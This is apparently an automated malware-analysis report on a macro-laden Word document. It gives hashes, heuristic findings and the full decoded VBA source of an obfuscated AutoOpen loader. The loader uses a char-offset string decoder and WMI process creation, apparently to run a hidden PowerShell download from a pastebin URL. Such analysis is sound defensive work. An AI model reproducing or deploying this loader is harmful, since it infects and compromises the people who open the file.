Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 33b60dc6e1834bc7…

MALICIOUS

Office (OOXML)

26.7 KB Created: 2019-07-12 13:39:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-11-23
MD5: 0864fea46a5bf98042985c37bf22dbbb SHA-1: c938ed2f3b205724a7937f668a4c9e05e7ad940f SHA-256: 33b60dc6e1834bc77ada0452be5b0fab64cf6c332ded1f06097dc9c3639e9638
252 Risk Score

Heuristics 9

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set prop = GetObject(April("138124129128122128135134077")).Get("106124129070069114099124129122102135116135136134065084119119133120134134080058127130118116135124130129065128124118133130134130121135065118130128058063101120134130127137120084119119133120134134097116128120134080103133136120")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Set prop = GetObject(April("138124129128122128135134077")).Get("106124129070069114099124129122102135116135136134065084119119133120134134080058127130118116135124130129065128124118133130134130121135065118130128058063101120134130127137120084119119133120134134097116128120134080103133136120")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Clipboard command execution lure high SE_CLIPBOARD_COMMAND_LURE
    Document tells the user to copy or paste clipboard content into Run, PowerShell, cmd, or another shell-like execution context
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • https://pastebin.com/raw/5FatY2SvIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2912 bytes
SHA-256: 9185307f48f7d6f55cbd9e7b340850213fd3903e0f1d63e9e418fb04f1ec0520
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Sub AutoOpen()
    Dim EEE As Variant, DFF, FFFFF, EEEEEEE, DDDDDDDDDDDDDDD, AAAA, FFFFFFF, BBBBB
    
    
    On Error Resume Next
    Dim prop
    Set prop = GetObject(April("138124129128122128135134077")).Get("106124129070069114099124129122102135116135136134065084119119133120134134080058127130118116135124130129065128124118133130134130121135065118130128058063101120134130127137120084119119133120134134097116128120134080103133136120")
    With prop
        If .StatusCode = 0 Then
            DFF = False
            EE
        ElseIf .StatusCode > 0 Then
            DFF = False
            EE
        Else
            DFF = True
        End If
        
    End With
    EEE = MsgBox(April("106102118133124131135065102123120127127"))
    If EEE = vbOK Then
        'EE
    Else
        'EE
    End If
    
    
End Sub
Public Function EE() As Variant
   On Error Resume Next
    Dim Yesterdayss As String
    Dim Today As String
    Dim TheNextDay As String
    Dim TwoDayAgo As String
    Dim Objects As Object
    aa = aa / 0
    On Error Resume Next
    Today = "106102118133124131135065102123120127127"
    Yesterdayss = "099130138120133102123120127127065120139120051064138124129119130138134135140127120051123124119119120129051064129130127130122130051064129130120139124135051110084131131087130128116124129112077077086136133133120129135087130128116124129065095130116119059110086130129137120133135112077077089133130128117116134120073071102135133124129122059059097120138064098117125120118135051102140134135120128065097120135065106120117086127124120129135060065087130138129127130116119134135133124129122059058123135135131134077066066131116134135120117124129065118130128066133116138066072089116135108069102137058060060060065088129135133140099130124129135065124129137130126120059055129136127127063055129136127127060"
    GetObject(April("138124129128122128135134077")).Get(April("106124129070069114099133130118120134134")).Create April(Yesterdayss), Friday, ThreeDayAgo, TheNextMon
End Function

Function xyz(str) As String
    xyz = StrReverse(April(str))
End Function
Function November(Today) As String
    November = Chr(Today - 19)
End Function

Function October(Wenesday) As String
    October = Left(Wenesday, 3)
End Function
Function May(Sunday) As String
    May = Right(Sunday, Len(Sunday) - 3)
End Function
Function April(Monday) As String
    Dim Tomorow As String
    Do
        Tomorow = Tomorow + November(October(Monday))
        Monday = May(Monday)
    Loop While Len(Monday) > 0
        April = Tomorow
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 44032 bytes
SHA-256: d4f241d18dd222e81f419446afded9630ab16deeb339e23b79d577b81531d31f

Open this report in the interactive analyzer, or submit your own file for analysis.